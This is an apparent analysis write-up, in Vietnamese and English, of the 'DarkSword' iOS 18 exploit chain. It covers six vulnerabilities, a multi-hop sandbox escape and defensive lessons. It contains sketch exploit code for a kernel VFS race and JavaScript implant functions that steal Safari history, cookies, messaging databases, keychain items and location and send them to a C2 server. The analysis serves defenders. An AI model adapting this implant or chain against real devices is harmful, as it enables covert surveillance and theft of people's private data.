DarkSword -- iOS 18 Full-Chain Exploit
DarkSword là full-chain iOS exploit nhắm vào iOS 18.4-18.7, dùng 6 vulnerabilities (bao gồm 3 zero-days) để đạt full device takeover. Được Google GTIG phân tích năm 2026. Đáng chú ý vì target iOS 18 – thế hệ có SPTM + TXM + Exclaves.
Overview
| Field | Detail |
|---|---|
| Phát hiện bởi | Google Threat Intelligence Group (GTIG) |
| Công bố | March 2026 |
| iOS range | 18.4 – 18.7 |
| Số CVEs | 6 (3 zero-days) |
| Delivery | Watering hole (compromised websites, zero-click in browser) |
| Threat actors | UNC6748 (Saudi Arabia targeting), nhiều threat actors khác adopt |
| Patched | iOS 26.1 (kernel), iOS 26.3 (full chain) |
Exploit Chain – 6 Stages
Step 1: WebKit RCE
| CVE-2025-31277 (iOS 18.4-18.5): JIT type confusion trong JavaScriptCore
| CVE-2025-43529 (iOS 18.6-18.7): Garbage collection flaw trong JSC
v
Step 2: WebContent -> GPU Sandbox Escape
| CVE-2025-14174: ANGLE out-of-bounds memory corruption (WebGL/WebGPU)
| -> Pivot từ WebContent sandbox vào GPU process
v
Step 3: GPU -> mediaplaybackd Sandbox Escape
| CVE-2025-43510: Copy-on-Write bug
| -> Arbitrary function call primitives trong mediaplaybackd
| -> mediaplaybackd có broader permissions than GPU process
v
Step 4: Load JavaScriptCore trong mediaplaybackd
| Không phải vulnerability -- technique:
| -> Load JSC framework vào mediaplaybackd
| -> Execute JavaScript trong elevated context
v
Step 5: Kernel Exploit
| CVE-2025-43520: XNU VFS race condition
| -> Physical + virtual memory read/write primitives
v
Step 6: User-Mode PAC Bypass
| CVE-2026-20700: dyld user-mode PAC bypass
| -> Defeat pointer authentication for code injection
| -> Inject in-memory JavaScript implants vào system processes
v
Full Device Compromise
Deep Dive: Từng CVE
CVE-2025-31277 – JavaScriptCore JIT Type Confusion
Component: JavaScriptCore JIT compiler
Type: Type confusion
Target: iOS 18.4-18.5
JIT compiler makes incorrect type assumptions:
1. Attacker crafts JavaScript triggering JIT compilation
2. JIT generates native code assuming variable is Type A
3. At runtime, variable is actually Type B
4. Type confusion -> read/write outside intended bounds
-> Arbitrary read/write trong WebContent process
CVE-2025-43529 – JavaScriptCore GC Flaw
Component: JavaScriptCore garbage collector
Type: Use-after-free (via GC timing)
Target: iOS 18.6-18.7 (alternative entry when 31277 patched)
Garbage collector frees object while still referenced:
1. Trigger specific GC timing via JS allocation patterns
2. Object freed prematurely
3. Dangling reference -> UAF
-> Same end result: arbitrary r/w in WebContent
CVE-2025-14174 – ANGLE OOB Memory Corruption
Component: ANGLE (Almost Native Graphics Layer Engine) -- WebGL/WebGPU
Type: Out-of-bounds memory corruption
Role: First sandbox escape (WebContent -> GPU process)
WebGL/WebGPU processing crosses process boundary:
1. Malicious WebGL commands craft bad GPU command buffer
2. GPU process parses command buffer -> OOB write
3. Code execution trong GPU process
-> GPU process runs với less restrictions than WebContent
CVE-2025-43510 – Copy-on-Write Bug
Component: XPC / memory management
Type: COW bypass
Role: Second sandbox escape (GPU -> mediaplaybackd)
Copy-on-Write should isolate memory between processes:
1. Shared memory page between GPU process and mediaplaybackd
2. COW bug: modification visible in both processes
3. Attacker corrupts data in mediaplaybackd context
4. -> Arbitrary function call primitive trong mediaplaybackd
Tại sao mediaplaybackd:
- Accessible từ GPU process via XPC
- Runs với broader entitlements
- Can load arbitrary frameworks (including JSC)
CVE-2025-43520 – XNU VFS Race Condition
Đây là kernel vulnerability cốt lõi của DarkSword. XNU Virtual File System (VFS) layer xử lý file operations cho tất cả filesystems. VFS sử dụng vnodes để represent files và directories, và nhiều operations trên vnodes cần locking để đảm bảo consistency. Bug này là TOCTOU (Time-Of-Check-Time-Of-Use) trong vnode operations.
// === XNU VFS Architecture ===
//
// VFS layer: abstract interface for all filesystem operations
// vnode: kernel object representing a file/directory
// vnode operations: lookup, open, read, write, rename, etc.
//
// Problem: VFS operations are inherently concurrent
// Multiple threads can operate on same vnode simultaneously
// Locking must be PERFECT to prevent races
// XNU uses vnode_lock() / vnode_unlock() but has gaps
// === The TOCTOU Race ===
//
// Thread A (check): Thread B (modify):
// ======================== ========================
// 1. vnode_authorize(vp, ...)
// -> Check permissions
// -> Permission OK
// 2. Change vnode state
// (rename, modify attributes,
// or change mount point)
// 3. vnode_operation(vp, ...)
// -> Use vnode with
// stale state
// -> Kernel operates on
// WRONG file/state
// === Exploitation Flow ===
// Step 1: Create race-prone file operation
// Two threads operate on same vnode:
// Thread A: Perform operation that CHECKS vnode state
void *check_thread(void *arg) {
int fd = *(int *)arg;
while (!race_won) {
// File operation that reads vnode state
// e.g., fstat, open, access check
struct stat st;
fstat(fd, &st);
// Kernel internally:
// 1. Look up vnode for fd
// 2. Check vnode->v_type, v_mount, v_flag
// 3. Read attributes based on checked state
}
return NULL;
}
// Thread B: Modify vnode state between check and use
void *modify_thread(void *arg) {
char *path = (char *)arg;
while (!race_won) {
// Operation that changes vnode state
// e.g., rename, mount/unmount, symlink swap
rename(path, "/tmp/new_path");
rename("/tmp/new_path", path);
// Rapid rename creates window where vnode state is inconsistent
// If Thread A's check and use straddle a rename:
// -> Check sees state A
// -> Use operates on state B
// -> Kernel confusion!
}
return NULL;
}
// Step 2: Detect race win
// Specific to CVE-2025-43520: race causes kernel to
// operate on a vnode with incorrect backing storage
//
// Result: kernel reads/writes physical pages that don't
// belong to the file's filesystem
// -> Physical memory access outside intended bounds
// -> With careful grooming: read/write arbitrary physical pages
// Step 3: Escalate to physrw
//
// VFS race gives: ability to read/write certain physical pages
// that kernel incorrectly maps during file operations
//
// Escalation chain:
// 1. Use VFS confusion to read kernel page table entries
// 2. Identify L3 page table physical addresses
// 3. Use VFS confusion to WRITE to L3 page table pages
// 4. Create PTE mapping arbitrary physical address
// 5. Access mapped virtual address -> physrw
//
// Key insight: VFS operates at PAGE granularity
// File I/O = page-in/page-out operations
// Race confuses WHICH physical page gets mapped
// -> Equivalent to PUAF but via filesystem path
// === Which vnode operations race ===
//
// VFS operations that are particularly race-prone:
//
// 1. vnode_authorize() + actual operation
// -> Check permission, then do operation
// -> If vnode changes between check and operation: TOCTOU
//
// 2. namei() / lookup path traversal
// -> Path components resolved one at a time
// -> Attacker swaps symlink during traversal
// -> Kernel follows wrong path
//
// 3. File I/O + mount point changes
// -> Read/write operation on file
// -> Mount point changes mid-operation
// -> Kernel reads/writes wrong filesystem's data
//
// CVE-2025-43520 specific:
// -> Race between vnode attribute read and page-in operation
// -> Causes kernel to map pages from wrong backing store
// -> Pages intended for user file data come from kernel memory region
// -> User reads file data = reads kernel memory!
// === From VFS Race to Physical Read/Write ===
// Phase 1: Kernel memory disclosure via VFS confusion
uint64_t vfs_kread64(uint64_t target_addr) {
// 1. Setup race conditions on target file
// 2. Trigger VFS race -> kernel maps wrong physical page
// 3. Read file data -> actually reads kernel memory at target_addr
// (page containing target_addr gets mapped as file data)
int fd = open("/tmp/race_target", O_RDONLY);
// ... race threads running ...
uint8_t buf[PAGE_SIZE];
read(fd, buf, PAGE_SIZE);
// If race won: buf contains kernel memory instead of file data
uint64_t value = *(uint64_t *)(buf + (target_addr & (PAGE_SIZE - 1)));
return value;
}
// Phase 2: Kernel memory write via VFS confusion
void vfs_kwrite64(uint64_t target_addr, uint64_t value) {
// 1. Setup race on writable file
// 2. Trigger VFS race -> kernel will write to wrong physical page
// 3. Write file data -> actually writes to kernel memory
int fd = open("/tmp/race_target", O_WRONLY);
// ... race threads running ...
uint8_t buf[PAGE_SIZE];
memset(buf, 0, PAGE_SIZE);
*(uint64_t *)(buf + (target_addr & (PAGE_SIZE - 1))) = value;
write(fd, buf, PAGE_SIZE);
// If race won: kernel memory at target_addr is overwritten
}
// Phase 3: physrw via page table manipulation
// Use kread/kwrite to find and modify page tables
// Same escalation path as Pattern 3 in attack-patterns
CVE-2026-20700 – dyld PAC Bypass
Component: dyld (dynamic linker)
Type: User-mode PAC bypass
Role: Defeat pointer authentication cho arbitrary code execution
Bypass pointer authentication without forging PAC signatures:
- Exploit dyld's handling of authenticated pointers
- Enable native code execution past PAC checks
- One of 3 zero-days in the chain
- Patched in iOS 26.3
Attack Architecture: Double Sandbox Escape
Đặc biệt đáng học: DarkSword dùng 2 sandbox escapes nối tiếp thay vì 1. Đây là architecture forced by iOS 18’s extremely restricted WebContent sandbox.
Tại Sao WebContent Không Thể Reach Kernel Trực Tiếp
iOS 18 WebContent sandbox profile:
ALLOWED:
- GPU rendering (via ANGLE/WebGL/WebGPU)
- Network access (via NSURLSession)
- IPC to GPU process (for rendering)
- Limited file access (cache, cookies)
BLOCKED:
- Direct IOKit access (-> no IOSurface exploit from WebContent)
- Direct Mach host port access
- Direct kernel syscall surface (heavily filtered)
- IPC to most system services
- File system access outside sandbox container
=> Traditional WebContent -> kernel path is DEAD on iOS 18
=> Must find REACHABLE intermediate process with more privileges
Process Privilege Escalation Chain
WebContent (very restricted sandbox)
|
+-- ANGLE/WebGL is cross-process!
| WebGL rendering commands go from WebContent to GPU process
| via IPC (shared memory + Mach messages)
|
| CVE-2025-14174: ANGLE parses WebGL command buffer in GPU process
| -> Malicious WebGL commands -> OOB write in GPU process
| -> Code execution in GPU process
v
GPU Process (less restricted, but still sandboxed)
|
| GPU process entitlements include:
| - com.apple.gpu.service (GPU hardware access)
| - com.apple.mediaremote.control (media control)
| - XPC access to: mediaplaybackd, avconferenced, etc.
|
| WHY GPU can reach mediaplaybackd:
| - GPU process handles video rendering
| - Video playback coordination requires mediaplaybackd
| - XPC interface between GPU and mediaplaybackd for:
| * Playback state synchronization
| * DRM content key exchange
| * Audio/video routing
|
| CVE-2025-43510: COW bug in XPC shared memory
| -> GPU process shares memory page with mediaplaybackd
| -> COW should copy-on-write, but bug allows direct modification
| -> Corrupt function pointer or callback in mediaplaybackd
v
mediaplaybackd (broad permissions, can load frameworks)
|
| mediaplaybackd entitlements include:
| - com.apple.private.security.no-container (NO SANDBOX!)
| - com.apple.security.cs.allow-dyld-environment-variables
| - com.apple.private.audio (audio hardware)
| - com.apple.private.avfoundation (media frameworks)
| - Can load arbitrary frameworks including JavaScriptCore
| - Has broader file system access
| - Can reach MORE kernel attack surface (IOKit, mach traps)
|
+-- Load JavaScriptCore framework
| CVE-2025-43520 (kernel VFS race)
v
Kernel (full control)
|
+-- CVE-2026-20700 (dyld PAC bypass for code injection)
v
Full Device Compromise
Tại Sao ANGLE/WebGL Là Cross-Process Attack Surface
// ANGLE (Almost Native Graphics Layer Engine):
// Google's OpenGL ES -> Metal/Vulkan/D3D translation layer
// Used by WebKit for WebGL rendering
//
// Architecture on iOS 18:
// WebContent process: JavaScript calls WebGL API
// -> WebGL commands serialized into command buffer (shared memory)
// -> IPC notification to GPU process
// -> GPU process deserializes command buffer
// -> GPU process calls Metal API for actual rendering
// -> Result shared back to WebContent for display
//
// The command buffer is the attack surface:
// - WebContent WRITES command buffer (attacker-controlled)
// - GPU process READS and PROCESSES command buffer
// - Complex parsing logic in GPU process
// - Any parsing bug = code execution in GPU process
// Example: how WebGL command leads to OOB in GPU process
//
// WebContent side (attacker-controlled JavaScript):
const gl = canvas.getContext('webgl2');
const buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// Craft buffer data that triggers OOB when GPU process processes it
gl.bufferData(gl.ARRAY_BUFFER, malicious_data, gl.STATIC_DRAW);
// -> Command serialized: BUFFER_DATA opcode + size + data
// -> IPC to GPU process
// -> GPU process parses: sees BUFFER_DATA, allocates buffer, copies
// -> BUG: size validation incorrect -> copies beyond allocated buffer
// -> OOB write in GPU process address space!
Tại Sao GPU Cần Reach mediaplaybackd
// GPU process needs to coordinate with media services for:
// 1. Video playback pipeline (decode -> render -> display)
// 2. DRM content protection (FairPlay, HDCP)
// 3. Picture-in-Picture (PiP) coordination
// 4. Audio/video synchronization
//
// mediaplaybackd is the central coordinator for media playback
// GPU process has XPC entitlements to talk to mediaplaybackd:
// GPU process sends XPC messages to mediaplaybackd:
// - Playback state updates (playing, paused, seeking)
// - Frame presentation timing
// - Content protection status
//
// The XPC interface uses shared memory for efficiency:
// - Large buffers (video frames, command data) shared via COW pages
// - XPC message contains reference to shared memory region
// - mediaplaybackd maps the shared region into its address space
//
// CVE-2025-43510: COW bug means GPU process's write to shared page
// is visible in mediaplaybackd WITHOUT triggering copy-on-write
// -> GPU process corrupts data that mediaplaybackd trusts
// -> If corrupted data includes function pointer or callback:
// -> mediaplaybackd calls attacker-controlled function
// -> Code execution in mediaplaybackd!
// Why mediaplaybackd is valuable:
// 1. No sandbox (com.apple.private.security.no-container)
// 2. Can dlopen() arbitrary frameworks
// 3. Has IOKit access -> can reach kernel attack surface
// 4. Runs as mobile user with broad entitlements
JavaScript-Based Post-Exploitation
Novel technique: Thay vì native code implant, DarkSword inject JavaScript. Đây là một trong những innovation quan trọng nhất của exploit kit này.
How JSC Is Loaded Into Target Processes
// === Injecting JavaScriptCore into system processes ===
//
// After kernel physrw + PAC bypass (CVE-2026-20700):
// Attacker can execute arbitrary code in any user process
//
// Strategy: don't write native implant
// Instead: load JSC framework and execute JavaScript
// Step 1: Find target process (e.g., MobileSafari, Springboard)
// Use kernel r/w to scan proc structures
uint64_t target_proc = find_proc_by_name("MobileSafari");
uint64_t target_task = kread64(target_proc + OFF_PROC_TASK);
// Step 2: Get task port for target process
// Method 1: Use physrw to modify target's task port rights
// Method 2: Use PAC bypass + dyld exploit to inject into target
//
// With CVE-2026-20700 (dyld PAC bypass):
// Exploit dyld's authenticated pointer handling to redirect execution
// Step 3: Load JavaScriptCore framework into target
// dlopen() loads JSC framework (already in dyld shared cache)
// On iOS, JSC is in shared cache -> nearly zero cost to "load"
// Just need to call dlopen("JavaScriptCore.framework") in target process
// Pseudo-code for framework injection via thread hijacking:
//
// 1. Suspend target process
// 2. Create new thread in target via task port
// 3. Set thread state:
// x0 = "JavaScriptCore.framework" (string in target's address space)
// x1 = RTLD_NOW
// pc = dlopen address
// lr = infinite_loop gadget
// 4. Resume thread -> dlopen() executes in target
// 5. Get JSC context: JSGlobalContextCreate()
// 6. Evaluate JavaScript: JSEvaluateScript(ctx, exploit_js, ...)
// Step 4: Execute JavaScript payload
// JavaScript code runs with target process's permissions
// MobileSafari: access cookies, history, saved passwords
// Springboard: access notifications, app list
// etc.
What APIs Are Used for Data Extraction
// JavaScript implant executed in target process context
// Uses Objective-C runtime bridge (via JSC's ObjC interop)
// === Data extraction examples ===
// 1. Safari history + cookies
// MobileSafari process has access to WebKit databases
function extractSafariData() {
// Open Safari history database
// Path: ~/Library/Safari/History.db
var db = ObjC.classes.FMDatabase.databaseWithPath_(
"/private/var/mobile/Library/Safari/History.db"
);
db.open();
var rs = db.executeQuery_("SELECT url, title, visit_time FROM history_visits");
while (rs.next()) {
var url = rs.stringForColumn_("url").toString();
var title = rs.stringForColumn_("title").toString();
send_to_c2({type: "safari_history", url: url, title: title});
}
db.close();
// Extract cookies
var cookies = ObjC.classes.NSHTTPCookieStorage.sharedHTTPCookieStorage().cookies();
for (var i = 0; i < cookies.count(); i++) {
var cookie = cookies.objectAtIndex_(i);
send_to_c2({
type: "cookie",
domain: cookie.domain().toString(),
name: cookie.name().toString(),
value: cookie.value().toString()
});
}
}
// 2. WhatsApp/Signal databases
function extractMessagingData() {
// WhatsApp stores messages in ChatStorage.sqlite
var wa_db_path = find_app_container("net.whatsapp.WhatsApp")
+ "/ChatStorage.sqlite";
var db = ObjC.classes.FMDatabase.databaseWithPath_(wa_db_path);
db.open();
var rs = db.executeQuery_(
"SELECT ZTEXT, ZFROMJID, ZTOJID, ZMESSAGEDATE " +
"FROM ZWAMESSAGE ORDER BY ZMESSAGEDATE DESC LIMIT 1000"
);
// ... extract and exfiltrate ...
}
// 3. Keychain access (requires elevated privileges)
function extractKeychain() {
var query = ObjC.classes.NSMutableDictionary.dictionary();
query.setObject_forKey_(kSecClassGenericPassword, kSecClass);
query.setObject_forKey_(kSecMatchLimitAll, kSecMatchLimit);
query.setObject_forKey_(true, kSecReturnAttributes);
query.setObject_forKey_(true, kSecReturnData);
var result = Security.SecItemCopyMatching(query, null);
// Iterate through keychain items
// Extract passwords, tokens, certificates
}
// 4. Location data
function extractLocation() {
var mgr = ObjC.classes.CLLocationManager.alloc().init();
mgr.startUpdatingLocation();
// Wait for location update callback
// Extract coordinates and send to C2
}
// 5. Exfiltration
function send_to_c2(data) {
var url = ObjC.classes.NSURL.URLWithString_(C2_SERVER);
var request = ObjC.classes.NSMutableURLRequest.requestWithURL_(url);
request.setHTTPMethod_("POST");
var json = ObjC.classes.NSJSONSerialization
.dataWithJSONObject_options_error_(data, 0, null);
request.setHTTPBody_(json);
// Use NSURLSession (available in most processes)
var session = ObjC.classes.NSURLSession.sharedSession();
var task = session.dataTaskWithRequest_(request);
task.resume();
}
Advantages of JS-Based Post-Exploitation
Native implant vs JS implant:
Native:
+ Persistent across reboots (if written to disk)
+ Direct hardware access
+ Maximum performance
- Binary on disk -> forensics can find it
- Architecture-specific (ARM64 only)
- Hard to update (need new binary, re-sign, re-deploy)
- Code signing bypass needed
JavaScript:
+ In-memory only -> no file on disk
+ Hard to detect (looks like normal JSC execution)
+ Easy to update (change JS string, no recompilation)
+ Cross-architecture (if JSC available)
+ Can run in MULTIPLE processes simultaneously
+ No code signing bypass needed (JSC is legitimate framework)
- Does not survive reboot
- Slightly slower than native
- Depends on JSC availability in target process
- Can be detected by monitoring dlopen() of JSC in unusual processes
Deployment Thực Tế
November 2025:
Saudi Arabian users visiting fake Snapchat messaging site
-> UNC6748 operates site
-> Full device compromise trong minutes, zero-click
Sau đó:
Multiple threat actors adopt DarkSword
-> Watering hole attacks across 4 countries
-> Targeting journalists, activists, political figures
Bài Học Kỹ Thuật
1. Multi-hop Sandbox Escape
iOS 18 sandbox quá chặt cho direct WebContent -> kernel path
-> Phải chain multiple sandbox escapes
-> Mỗi hop tăng permissions dần dần
-> Attack surface analysis: trace accessible services tại MỌI privilege level
Defense-in-depth analysis:
WebContent -> GPU: Cross-process rendering (ANGLE)
-> Reduce parsing complexity in GPU process
-> Validate command buffers more strictly
GPU -> mediaplaybackd: XPC shared memory
-> Fix COW implementation
-> Reduce GPU process entitlements
mediaplaybackd -> kernel: VFS syscalls
-> Improve VFS locking
-> Reduce mediaplaybackd's kernel surface
2. VFS as Kernel Attack Surface
VFS layer (file system) trong XNU:
- Multi-threaded by nature
- Complex locking semantics (vnode locks, mount locks, etc.)
- Race windows between check and use
- FILE operations = PAGE operations = physical memory manipulation
-> Fruitful area cho kernel bug hunting
VFS race -> physrw path:
- VFS confusion maps wrong physical page
- File read = read wrong physical memory
- File write = write wrong physical memory
- With grooming: target specific physical pages (page tables)
-> Direct path to physrw without traditional kernel object corruption
3. Process Reachability Graph
Key insight: map which processes can reach which via IPC
WebContent sandbox can reach:
-> GPU process (rendering IPC)
-> Network (NSURLSession)
-> Limited XPC services
GPU process can reach:
-> mediaplaybackd (media coordination XPC)
-> avconferenced (video conferencing)
-> Other media services
mediaplaybackd can reach:
-> Kernel (IOKit, mach traps, VFS)
-> Other system services (unsandboxed)
-> File system (broad access)
Shortest path to kernel from WebContent:
WebContent -> GPU -> mediaplaybackd -> kernel
= 3 hops, requiring 3 exploits (2 sandbox escapes + 1 kernel)
This analysis is fundamental for iOS exploit development:
Every new process-to-process IPC path = potential stepping stone
Apple must audit EVERY reachable service from EVERY sandbox
4. JavaScript Post-Exploitation
Native implant vs JS implant:
Native: persistent, performant, harder to update
JS: in-memory only, flexible, easy to update, hard to forensics
-> Trend: fileless, memory-only exploitation
Detection opportunities:
- Monitor dlopen() of JSC in processes that normally don't use it
- Track unusual ObjC method invocations
- Detect C2 communication patterns
- Memory forensics: scan for JSC heap patterns